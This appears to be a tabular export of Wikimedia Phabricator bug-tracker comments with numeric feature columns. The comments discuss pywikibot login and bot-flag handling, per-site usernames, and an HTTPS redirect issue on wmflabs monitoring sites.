415388,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ? **Update**: I may probably get your point. I'm able to reproduce this bug. Thanks for your help :),,,1424579389,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,1.0,1.0,9.0,0.0,1.0,0.0,0.0,9.0,0.0,6.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,9.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,3.642857142857143,0.7428571428571429,SCREEN_NAME How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same CODE) ? **Update**: I may probably get your point. I'm able to reproduce this bug. Thanks for your help :)
415387,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ? **Update** I may probably get your point. I'm able to reproduce this bug. Thanks for your help :),,,1424579371,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,1.0,1.0,9.0,0.0,1.0,0.0,0.0,9.0,0.0,6.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,9.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,3.681159420289855,0.7391304347826086,SCREEN_NAME How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same CODE) ? **Update** I may probably get your point. I'm able to reproduce this bug. Thanks for your help :)
415385,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ?,,,1424576909,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,5.0,9.0,0.0,9.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,3.9545454545454546,0.75,SCREEN_NAME How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same CODE) ?
414863,force login after performing a sysop action,"If I don't misremember, the problem arises when I run two scripts simultaneously. Suppose two scripts are A and B, with A performing sysop actions (without botflag) and B performing bot actions (with botflag). It seems that some settings about botflag are shared somehow, so frequently B doesn't use botflag to edit. Thus edits appear in recentchanges.",,,1424452073,,PHID-USER-vuus2gmqsnxh6mnavgml,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,11.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,4.0,3.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,4.0,11.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.228571428571429,0.6857142857142857,"If I don't misremember, the problem arises when I run two scripts simultaneously. Suppose two scripts are A and B, with A performing sysop actions (without botflag) and B performing bot actions (with botflag). It seems that some settings about botflag are shared somehow, so frequently B doesn't use botflag to edit. Thus edits appear in recentchanges."
414746,force login after performing a sysop action,"@jayvdb @Nullzero I found there's a decorator [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/site.py#L1036 | must_be ]] in modul pywikibot/site, which limit the user status when functions are called. In my option, it may solve the bug since it checks the user status before the decorated function runs.",,,1424443044,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,10.0,2.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,8.0,10.0,0.0,0.0,0.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,4.1568627450980395,0.803921568627451,"SCREEN_NAMESCREEN_NAME I found there's a decorator [[ URL | must_be ]] in modul pywikibot/site, which limit the user status when functions are called. In my option, it may solve the bug since it checks the user status before the decorated function runs."
414638,force login after performing a sysop action,"@jayvdb @Nullzero this is my [[ https://gist.github.com/VcamX/f26066fd09a992cbce6e | test script ]] for reproducing the bug, but the results showed it works well. Maybe I still didn't get your point...",,,1424426801,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.8823529411764706,0.9117647058823529,"SCREEN_NAMESCREEN_NAME this is my [[ URL | test script ]] for reproducing the bug, but the results showed it works well. Maybe I still didn't get your point..."
414586,force login after performing a sysop action,"The current design of pywikibot is that it always uses the sysop account **only** for actions which require sysop capabilities.  It uses the bot account for everything else. T71283 is considering to change that design.

My understanding of this problem is
1. pywikibot logs into site with the non-sysop account, that has the 'bot' flag, maybe does an edit which is a 'bot' edit.
2. pywikibot logs into site with the sysop account, that does not have the 'bot' flag.
3. pywikibot edit using non-sysop account should be marked as a 'bot' edit ('b' in recent changes), .. however the edit isnt marked as a bot edit, and that is this bug.

In step 2, the site object does not keep the login credentials of the non-sysp account. T67196
In step 3, the site object should re-login automatically using non-sysop username and password in config.password_file.",,,1424410305,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,True,,,77,True,0.0,0.5,0.0,1.0,1.0,7.0,1.5,0.0,0.0,0.0,3.5,5.0,0.0,0.5,0.0,0.5,1.0,4.5,9.0,0.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,7.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,23.5,1.5,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,8.0,3.5,3.5,0.5,1.0,11.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,1.5,9.0,2.0,0.0,5.0,0.0,1.5,0.0,2.0,2.0,0.0,1.5,0.0,0.0,2.0,3.6134817563388992,0.5482374768089053,"The current design of pywikibot is that it always uses the sysop account **only** for actions which require sysop capabilities.  It uses the bot account for everything else. T71283 is considering to change that design.

My understanding of this problem is
1. pywikibot logs into site with the non-sysop account, that has the 'bot' flag, maybe does an edit which is a 'bot' edit.
2. pywikibot logs into site with the sysop account, that does not have the 'bot' flag.
3. pywikibot edit using non-sysop account should be marked as a 'bot' edit ('b' in recent changes), .. however the edit isnt marked as a bot edit, and that is this bug.

In step 2, the site object does not keep the login credentials of the non-sysp account. T67196
In step 3, the site object should re-login automatically using non-sysop username and password in config.password_file."
411785,force login after performing a sysop action,"Yes, but I will not be able to contribute to Pywikibot for a while. Feel free to take over my patches, bugs, etc.",,,1423974710,,PHID-USER-vuus2gmqsnxh6mnavgml,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,76,True,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,18.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,7.0,18.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.25,0.8214285714285714,"Yes, but I will not be able to contribute to Pywikibot for a while. Feel free to take over my patches, bugs, etc."
411784,force login after performing a sysop action,Was this your ticket @nullzero?,,,1423974378,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,True,,,76,True,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.8,1.0,Was this your ticketSCREEN_NAME?
264953,force login after performing a sysop action,"I'm also have similar problem.

After updating pywikibot framework, forcing login is somewhat strange.

When bot name differ by project \(E.g, different name for local wiki and meta/commons wiki\), login is requested for local bot name in meta wiki.

\------------------------------------------------------------------------
Pywikibot \[http\] branches/rewrite \(r11617, 2013/06/02, 13:07:05, OUTDATED\)
Python 2.6.5 \(r265:79063, Oct  1 2012, 22:04:36\)
\[GCC 4.4.3\]
unicode test: ok",,,1380947468,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,6.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,4.876404494382022,0.6966292134831461,"I'm also have similar problem.

After updating pywikibot framework, forcing login is somewhat strange.

When bot name differ by project \(E.g, different name for local wiki and meta/commons wiki\), login is requested for local bot name in meta wiki.

\------------------------------------------------------------------------
Pywikibot \[http\] branches/rewrite \(r11617, 2013/06/02, 13:07:05, OUTDATED\)
Python 2.6.5 \(r265:79063, Oct  1 2012, 22:04:36\)
\[GCC 4.4.3\]
unicode test: ok"
56710,Fix HTTPS redirect for icinga.wmflabs.org,"**Author:** `metatron`

**Description:**
HTTPS on both wmflabs-sites not possible:
http://icinga.wmflabs.org/icinga/
http://ganglia.wmflabs.org/latest/

On wikimedia-sites it works fine
https://icinga.wikimedia.org/icinga/
https://ganglia.wikimedia.org/latest/

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1380297180,1419723474.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-TASK-xzc5j7guth2pi6tihr6u,task_description,declined,True,c2,3,False,False,False,4,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4464285714285716,0.48214285714285715,"**Author:** CODE

**Description:**
HTTPS on both wmflabs-sites not possible:
URL
URL

On wikimedia-sites it works fine
URL
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
393273,Fix HTTPS redirect for icinga.wmflabs.org,"closing:
>>! In T85318#944034, yuvipanda wrote:
> Neither icinga nor ganglia will be used in labs anymore.
> [...]",,,1419723474,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,69,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.5,"closing:
QUOTE
QUOTE
QUOTE"
264697,Fix HTTPS redirect for icinga.wmflabs.org,"ganglia is out of game, updating title that redirect seems to misbehave (for me for firefox and opera)",,,1413464246,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,59,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,24.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,4.0476190476190474,0.9523809523809523,"ganglia is out of game, updating title that redirect seems to misbehave (for me for firefox and opera)"
264692,Fix HTTPS redirect for icinga.wmflabs.org,"current status:
https://icinga.wmflabs.org/
https://ganglia.wmflabs.org/
basically seems to work from ssl view
but both switch to HTTP while redirecting to the correct entry point",,,1396637458,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,31,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,18.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.7857142857142857,"current status:
URL
URL
basically seems to work from ssl view
but both switch to HTTP while redirecting to the correct entry point"
264688,Fix HTTPS redirect for icinga.wmflabs.org,Insecure content warnings on https://integration.wikimedia.org/ for images from http://ganglia.wmflabs.org/l.,,,1391727042,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,0.8888888888888888,Insecure content warnings on URL for images from URL
264681,Fix HTTPS redirect for icinga.wmflabs.org,Can we set this up via Yuvi's HTTPS proxy?,,,1391726910,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,18.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,1.0,Can we set this up via Yuvi's HTTPS proxy?
264676,Fix HTTPS redirect for icinga.wmflabs.org,"seems fixed, except that ganglia ssl is blocked by bug 60865",,,1391593710,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,23,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,"seems fixed, except that ganglia ssl is blocked by bug 60865"
56541,"When loging in to a site, try the site-configured username if any","Originally from: http://sourceforge.net/p/pywikipediabot/patches/621/
Reported by: gallaecio
Created on: 2013-08-03 20:30:54.056000
Subject: When loging in to a site, try the site-configured username if any
Original description:

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/patches/621",Needs Triage,90.0,1380061200,1610726581.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-4ziao6as6e62byuywdss,task_description,invalid,True,c2,3,False,False,False,3,True,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,3.5285714285714285,0.5857142857142857,"Originally from: URL
Reported by: gallaecio
Created on: 2013-08-03 20:30:54.056000
Subject: When loging in to a site, try the site-configured username if any
Original description:

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
URL"
1646921,"When loging in to a site, try the site-configured username if any","Closed as invalid. See example below
```
>>> import pywikibot
>>> site = pywikibot.Site()
>>> site
APISite(""de"", ""wikipedia"")
>>> site.username()
'Xqtest'
>>> site = pywikibot.Site('meta:meta')
>>> site.username()
'Xqtools'
>>> 
```",,,1610726581,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,True,,,385,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.7692307692307693,"Closed as invalid. See example below
``CODE``"
892253,"When loging in to a site, try the site-configured username if any","What is the current behaviour? What username is used when pywikibot tries to log into a site? Can anyone provide a minimal example script to demonstrate the issue at hand?
",,,1499833257,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,202,True,0.0,3.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,9.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,4.205882352941177,0.7941176470588235,"What is the current behaviour? What username is used when pywikibot tries to log into a site? Can anyone provide a minimal example script to demonstrate the issue at hand?
"
605017,"When loging in to a site, try the site-configured username if any","Change 176482 abandoned by Gallaecio:
login: Use the site object's username if defined

[[https://gerrit.wikimedia.org/r/176482]]",,,1454761787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,127,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.9565217391304346,0.8695652173913043,"Change 176482 abandoned by Gallaecio:
login: Use the site object's username if defined

[[GERRIT_URL]]"
334593,"When loging in to a site, try the site-configured username if any","Change 176482 had a related patch set uploaded (by John Vandenberg):
login: Use the site object’s username if defined

[[https://gerrit.wikimedia.org/r/176482]]

#patch-for-review",,,1417374437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,65,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.6486486486486487,0.8648648648648649,"Change 176482 had a related patch set uploaded (by John Vandenberg):
login: Use the site object’s username if defined

[[GERRIT_URL]]

#patch-for-review"
254560,"When loging in to a site, try the site-configured username if any","The is an interesting approach which I am guessing solves part of the 'SUL' problem.

